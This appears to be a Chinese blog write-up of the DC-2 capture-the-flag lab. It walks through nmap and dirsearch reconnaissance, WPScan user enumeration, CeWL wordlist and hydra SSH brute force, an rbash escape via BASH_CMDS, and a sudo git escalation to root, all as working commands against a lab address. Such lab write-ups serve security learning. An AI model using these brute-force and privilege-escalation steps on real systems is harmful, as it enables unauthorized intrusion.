DC-2靶机初尝试

DC-2靶机初尝试

信息收集

Ip探测
使用nmap函数

nmap -sP 192.168.88.142/24

在这里插入图片描述

端口扫描

打靶机的话没有那么多其他的东西,看下目标开放了哪些端口,以及是什么服务。
扫描我一般会分两到三次,这样可以确保没有遗漏。
第一次作为一次常规扫描。

	nmap -sC -sV 192.168.88.150
	-sC //使用默认脚本扫描
	-sV //尝试扫描运行服务的具体版本

在这里插入图片描述
显示只开了一个端口:80,那么下面再做一次全端口扫描,

nmap -p- -min-rate 500 192.168.88.150
	-p- //扫描全端口
	-min-rate //每秒发送数据包的最低速率

在这里插入图片描述

这里可以明显看到扫描结果多了一个开放端口7744,这也就是多扫描一次的好处,如果因为偷懒而错过了一个可能利用的端口或者服务,是很可惜的。

最后将这两个端口单独拎出来扫描一遍,以确认具体服务版本,

nmap -p 80,7744 -sC -sV 192.168.88.150

在这里插入图片描述
目录扫描

dirsearch -u http://192.168.88.150:80/ -e * -x 403,404
//-u接url;
//-e(-extension) 接语言 确认扫描文件拓展名类型的范围(逗号分隔),如:php,asp,*(表示全部文件扩展名类型)等;
//-x 接状态(-EXCLUDESTATUSCODE)exclude status code表示过滤的状态码,扫描出来后不显示该状态。以逗号分隔(以空格分隔也可以,平时不那么用,不容易辨认结构),支持指定范围  如(-x 301,500-599)。

在这里插入图片描述

漏洞分析

因为靶机开启了80端口,直接访问靶机的ip

在这里插入图片描述
发现无法访问,并且看上方的url并不是我们输入的靶机的ip因此可以看出被重定向了。

前面目录扫描出来的文件,通过添加目录的方式再次访问。

http://192.168.88.150/index.php

在这里插入图片描述
发现进入一个很奇怪,看着特别难受的界面,并且里边的功能点都无法使用。

在这里插入图片描述
换一个继续访问

http://192.168.88.150/license.txt

在这里插入图片描述
看到第一句的wordpress心头一震,立马去利用

wpscan --url http://192.168.88.150 

wpscan,针对wordpress的一款安全扫描器(kali自带)。工具可以用来枚举用户名,敏感文件,以及安装的主题和插件。

在这里插入图片描述
什么也没有,利用过程中被重定向了

继续访问目录

http://192.168.88.150/wp-includes/

在这里插入图片描述
得到一个目录,并且里边什么也没有发现

继续访问

http://192.168.88.150/wp-login.php

在这里插入图片描述
发现一个登录界面,但同样无法利用

从上面可以看出ip加目录可以访问(非正常),但是一旦发生ip 跳转就无法正常访问。

这个需要修改本地DNS文件,在C:\Windows\System32\drivers\etc路径中的hosts文件中添加一下对应的本地DNS解析记录即可。

在这里插入图片描述
在这里插入图片描述
修改完毕之后再次访问可以正常访问。

点击flag可以发现flag1
在这里插入图片描述
浏览web页面发现了flag1,内容如下:
Flag 1:
①Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.//这儿提示我们使用cewl工具生成字典,网上搜一下是kali的一个工具,爬取目标网站信息,生成相对应的字典.
②More passwords is always better, but sometimes you just can’t win them all.
③Log in as one to see the next flag.//提示有登陆,且登陆后有下一个flag。
④If you can’t find it, log in as another.//提示如果你找不到flag,就换个账户登陆。
//wordlists(单词表)so instead(所以)

访问其他目录均正常,在此不一一赘述。

前面已经提到wordpress,或者用Wappalyzer查看网站的信息,发现有内容管理系统CMS:WordPress网站。看到这个CMS的网站就得联想到WPScan渗透工具。(这个工具专门收集Wordpress的各种漏洞,形成一个Wordpress专用扫描器)
(CMS是英语Content Management System的缩写,按英语的字面翻译就是内容管理系统,顾名思义,它主要是为了方便发布网络内容而存在的一体化Web管理系统。)
在这里插入图片描述

Web渗透

前面提到靶机开放了两个端口,80(http) 和 7744(ssh)接下来的重点就是利用ssh,而利用ssh需要账号和密码,所以接下来的工作就是弄到ssh的账号和登录密码。

先简单介绍一下工具WPScan:
WordPress是全球流行的博客网站,许多外国的博客都是用它搭建的,但是存在着很多漏洞,专注于这些漏洞与其特性,一个专门针对该CMS的WPScan工具出现了。
WPScan是一个扫描WordPress漏洞的黑盒子扫描器

枚举WordPress用户名的命令:

`wpscan --url dc-2 -e u`
//-u要扫描的WordPress站点
//-e u 全拼是—enumerate(枚举) u 枚举WordPress的命令

在这里插入图片描述
扫描出来了三个用户名,接着我们在桌面创建一个uname.txt文件,放着这些用户名。

由于当前线索过少,无法直接获得密码,可以就此想到kali自带的cewl获取密码

cewl http://dc-2/ -w /root/桌面/password.txt

//格式:cewl url -w 文件及路径
//-w, –write:将输出结果写入到文件。(如果没有文件会自创一个txt文件)
在这里插入图片描述
有了用户名字典和密码字典,就可以直接爆破啦!
方法一:用bp抓包进行爆破了,爆破成功后,就能得出可以登陆的用户名密码
Username:jerry, Password:adipiscing
Username:tom, Password:parturient
方法二:依旧使用工具WPScan进行爆破,用户名字典选择username.txt,密码字典选择cewl生成的字典password.txt。

`wpscan --url dc-2 -U /root/Desktop/username.txt -P /root/Desktop/password.txt`
//-L后面接指定用户名字典绝对路径
//-P (大写)后面接指定密码字典绝对路径

在这里插入图片描述

Username:jerry, Password:adipiscing
Username:tom, Password:parturient

用jerry用户登陆发现有flag2,但是用tom用户登陆发现里面没有flag,正好和flag1中的④If you can’t find it, log in as another.//提示如果你找不到flag,就换个账户登陆。
相互呼应。

flag2:
①lf you can’t exploit WordPress and take a shortcut, there is another way.
//提示如果不能直接通过WordPress的cms漏洞拿到shell了,
②Hope you found another entry point.
//提示让我们找另一种方法。(也就还剩一个ssh远程登陆端口7744没用呢)

漏洞利用

利用finalshell进行远程连接
先试试jerry用户,结果登不上(原因是:jerry用户设置的不让进行ssh远程登陆),然后试试tom用户,结果连上了
注意:这里端口不是默认的22端口,而是7744端口,别忘了修改成7744。
在这里插入图片描述
方法二:由于前面我们已经拿到过两个账号的用户名和密码,在这里先进行试探,因为之前扫描出ssh的端口在7744,所以我们可以用下面的命令进行尝试登入。
命令格式:ssh 用户名@主机地址 -p 端口

ssh jerry@192.168.88.150 -p 7744

在这里插入图片描述
多次尝试失败,更换用户

ssh tom@192.168.88.150 -p 7744

使用tom用户登录成功
在这里插入图片描述
方法三:ssh这东西是能用工具九头蛇hydra通过爆破拿到。(最科学)


hydra -L /root/Desktop/username.txt -P /root/Desktop/password.txt -vV -o ssh.txt -e ns 192.168.88.150 ssh -s 7744
//-L <username-list> 指定用户名字典 
//-vV 显示详细信息
//-o 指定结果输出文件
//-e 可选选项,n:空密码试探,s:使用指定用户和密码试探
//-s 指定其他端口 如果要修改默认22端口,可以使用 -s 参数

在这里插入图片描述

查看生成的ssh.txt文件
在这里插入图片描述
同样可以得到账号密码,并且不用去尝试。

登录成功后使用素质三连

id
pwd
whoami

在这里插入图片描述
发现id和whoami命令无法使用,有rbash限制(相当于是一种很低权限的用户)
拓展:shell命令sh、dash、bash、rbash的区别
(1)sh:bourne Shell,是一个早期的重要shell,1978年由史蒂夫·伯恩编写,并同Version 7 Unix一起发布。从上面可看到当前测试系统里的sh实际上是dash的一个软链接
(2)dash:Debian Almquist shell,一种 Unix shell。它比 Bash 小,只需要较少的磁盘空间,但功能相比bash要少很多,语法严格遵守POSIX标准。它由 NetBSD版本的Almquist shell (ash)发展而来,于1997年由赫伯特·许(Herbert Xu)移植到Linux上,于2002年改名为 dash。
(3)bash:Bourne-Again Shell,是一个为GNU计划编写的Unix shell。1987年由布莱恩·福克斯创造。主要目标是与POSIX标准保持一致,同时兼顾对sh的兼容,是各种Linux发行版标准配置的Shell。
(4)rbash:restricted bash,即受限制的 bash。其可以用作中转服务器,或者仅使用 ssh 来访问网页等等。从上面可看到当前测试系统里的rbash实际上是bash的一个软链接。
在这里插入图片描述
可以看到需要提权
发现也没有cat命令使用权限,那可以查看一下可用命令。

echo $PATH//显示当前PATH环境变量,查看上面得到path路径的所有文件

#运行结果 /home/tom/usr/bin

echo /home/tom/usr/bin/*

在这里插入图片描述
看到vi命令令我们很惊喜,直接vi flag3.txt即可查看
在这里插入图片描述
或者

我们也可以进行提权,拿到权限后用cat命令进行查看flag3.txt内容

rbash逃逸(Linux提权的一种)
BASH_CMDS设置shell
设置一下shell并执行

命令行输入:BASH_CMDS[x]=/bin/bash(#设置了个x变量shell)
命令行输入:x(#相当于执行shell)

继续添加一下环境变量即可:
命令行输入:export PATH= P A T H : / b i n / 命 令 行 输 入 : e x p o r t P A T H = PATH:/bin/ 命令行输入:export PATH= PATH:/bin/exportPATH=PATH:/usr/bin/

BASH_CMDS[x]=/bin/bash
x
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

在这里插入图片描述
根据flag3的提示可以想到需要切换用户到jerry

su切换用户

su jerry

再输入之前拿到的密码即可登陆。(Linux中输入密码不会显示字符)

在这里插入图片描述

怀疑这个jerry用户下还有flag,用find命令尝试找一下flag文件。

find / -name *flag*(从/目录下开始寻找文件名及后缀中带有flag的文件)
//这个找得到
find / -name *flag(从/目录下开始寻找文件名及后缀以flag结尾的文件)
//这个找不到
find / -name flag*(从/目录下开始寻找文件名及后缀以flag开头的文件)
//这个也可以找得到

在这里插入图片描述
在这里插入图片描述
得到flag4.txt的内容

flag4:
①Good to see that you’ve made it this far - but you’re not home yet.
//提示靶场还没结束
②You still need to get the final flag (the only flag that really counts!!!).
//提示还有最后一个有意义的flag
③No hints here - you’re on your own now. 😃
//假装没有提示
④Go on - git outta here!!!
//提示了我们用git离开这里

git提权
方法一:

sudo git help config

在这里插入图片描述
然后回车在末行命令模式输入:!/bin/bash(这里bash也可以换成sh)
在这里插入图片描述
方法二:

sudo git -p help

末行继续输入:!/bin/bash
//即可打开一个用户为root的shell
这里不做演示

先回到根目录

cd /

//先回到根目录

find / -name *flag*//能找到
find / -name *flag//无法找到
find / -name flag*//无法找到

在这里插入图片描述
在这里插入图片描述
最终拿到最后flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值